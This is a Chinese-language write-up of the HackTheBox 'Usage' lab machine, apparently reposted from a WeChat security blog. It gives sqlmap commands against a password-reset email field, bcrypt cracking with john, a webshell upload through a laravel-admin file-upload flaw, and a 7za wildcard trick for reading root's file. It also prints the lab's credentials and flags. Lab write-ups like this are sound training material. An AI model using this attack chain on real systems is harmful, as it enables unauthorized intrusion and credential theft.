0x01 信息收集
目标IP为10.10.11.18,首先进行端口扫描,做靶场当然最好是扫描一下全端口
nmap -sS -T4 -A -p- 10.10.11.18
目前只发现22和80端口,80指向网页http://usage.htb/,首先把IP和域名用hosts绑定一下。访问网页,发现是个布局混乱的页面,有登录框注册链接等等,看得我难受。。
然后随手目录扫描,没有扫到什么
看到有个admin链接指向admin.usage.htb,继续加上hosts,访问后得到一个admin登录页面
查看一下前端代码,好像是个laravel框架,也不知道啥版本
0x02 web渗透测试
使用burp抓个登录包,看看有什么可以利用的
好像帐号密码都是明文,其实可以先测试弱口令,sql注入,xss等常用的手段,不过弱口令在HTB靶场好像基本没有吧,那就先让他跑下sql注入看有没有,不过好像木有
顺便继续扫下目录吧
dirsearch -u http://admin.usage.htb -i 200
也无果,要命了。然后瞬间想到,除了admin域名,不是还有个主域名吗,试试主域名,看到有注册用户的功能,先注册一波,然后登录进去,然后有一些关于渗透测试的文章啥的,不过也没啥功能
最后在主站页面的重置密码的功能点上找到了注入,注入点是邮箱email,抓个包
POST /forget-password HTTP/1.1
Host: usage.htb
Content-Length: 71
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usage.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usage.htb/forget-password
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6IjZjNFFncldLTVZXYWd2M3Fic3RHcXc9PSIsInZhbHVlIjoiT0tjN2xxR1ZlL3RPVm5CMUpqWTNlbDR1a0ppR2M3SmIwK2dJbXYvSmtiRml6em53ZDhoQWpFR1lyRlBKTUIwVmhVQnpMeFZIYjRUY0M4MEthYjFQdTFFYkpZa1h2TWxMNXlZQmRtbjdTNVBjVmRtZUdjM0pkS1VpT2JzYncwZUMiLCJtYWMiOiIzZmI4YmI0MDE5YjMxZTA4MTU3OGZjOGRmNzgzOGE0ZDNiN2Q3YjM3Mjc5ZmE3MGUwMDZkMDI2YTRhZGRmOTEzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVNYlFhLys4ZTc2RGIwRkwxVmN5ZVE9PSIsInZhbHVlIjoiMUhUaFRBOTVBVklYZGdFQ0xOTUpuUnQ4aHF1ZE5lbDlKK3ErUndQR0dIaUtxVTF1OFJBZGZDRFIxUUVqYVVBR2hObkF3SHRlWS9QNDNaUVB0Sm1CcFM1VmFRY0NMUWg5TFFOUHJibVZxUldtNVpDNGhZL05nRk5zRGhGaFVzWDciLCJtYWMiOiI1NWQ0ZjI3ZjMwYmNhYzM2NDkzMmI0MGNjOGVmMWI5MDAwZTM2YTMxYmY1NmJhYTFkZTRjYTVhOGMyODA4YzdhIiwidGFnIjoiIn0%3D
Connection: close
_token=LT7JQC6enQwXjfbNkDz7TJBnFYRrTBD2GVKJMm9p&email=1*
sqlmap -r sql.txt --level 5 --risk 3 --batch
成功跑出来了,布尔注入和延时注入,随后就跑数据,先找到数据库名
sqlmap -r sql.txt --level 5 --risk 3 --batch --dbs
数据库名为usage_blog,然后找数据表
sqlmap -r sql.txt --level 5 --risk 3 --batch -D usage_blog --tables
有个admin_users表,然后查找字段名
sqlmap -r sql.txt --level 5 --risk 3 --batch -D usage_blog -T admin_users --columns
最后dump用户和密码,找到后就可以登录admin子域名了,吐槽一下网络连接实在太慢,跑个注入都要几个小时,有钱就直接开个HTB的VIP吧
sqlmap -r sql.txt --level 5 --risk 3 --batch -D usage_blog -T admin_users -C username,password --dump
密码哈希值为
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2
使用john进行密码哈希值暴破
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
得出帐号密码为:admin | whatever1,登录进去后发现Laravel框架版本为10.18.0
搜索一下最新漏洞,找到一个laravel-admin有个任意文件上传漏洞的预警(CVE-2023-24249),影响版本号是1.8.19,本系统版本号是1.8.18,应该是受影响的,不过只能去外面看看有没有详情,最后在这里找到了:https://flyd.uk/post/cve-2023-24249/,大概看了一下,应该是上传用户头像里面可以通过图片绕过姿势上传webshell
首先准备好webshell,这里用kali自带的反弹shell后门文件:/usr/share/webshells/php/php-reverse-shell.php,修改反弹的信息,然后用010editor制作图片马(可能不用,可以直接上传,我也是多此一举),重命名后缀为ashell.jpg
注意一下,不要在右上角个人头像菜单那边设置那边去上传头像,那边的上传是不成功的,因为他上传点是在users菜单栏上的编辑账户信息里面的设置才有用
然后上传保存,修改后缀为ashell.jpg.php
然后就可以上传成功,然后右键查看一下图片的地址:http://admin.usage.htb/uploads/images/ashell.jpg,然后你直接在后面加上.php访问,设置nc监听后,访问链接就可以直接反弹shell
在home目录的dash用户的文件夹下找到userflag,其次发现xander用户文件夹无权限访问
e304d5a8db8553c94e1726689980a5ef
然后发现dash文件夹下有一些隐藏文件,在.monitrc文件中发现了密码:3nc0d3d_pa$$w0rd
一开始扫描端口时候发现22端口ssh服务开放,则使用ssh连接两个用户试试,然后登录成功
0x03 权限提升
先试试看有没有特权文件
sudo -l
找到/usr/bin/usage_management,使用cat查看有很多乱码,那我就直接用string去筛选一下字符
strings /usr/bin/usage_management
找到几个关键的步骤
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
使用 7z 来压缩 /var/www/html/ 中的所有内容,而且使用-- *这种通配符。因此我们可以利用他,这里我们可以学习一个知识点,通配符技巧知识链接:
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----f1c2793eeb7e--------------------------------
根据该技巧,我们就可以构造报错显示root.txt的内容了
cd /var/www/html/
touch '@root.txt'
ln -s -r /root/root.txt root.txt
sudo /usr/bin/usage_management
选择1
因此我们就可以直接获取到root的flag
a3b87d19d465c1d403586adbdb6d24e2
完结!本次第一次使用物理机kali做,还是有点不习惯,主要是没有加一些插件之类的
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】HackTheBox靶场之Usage
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论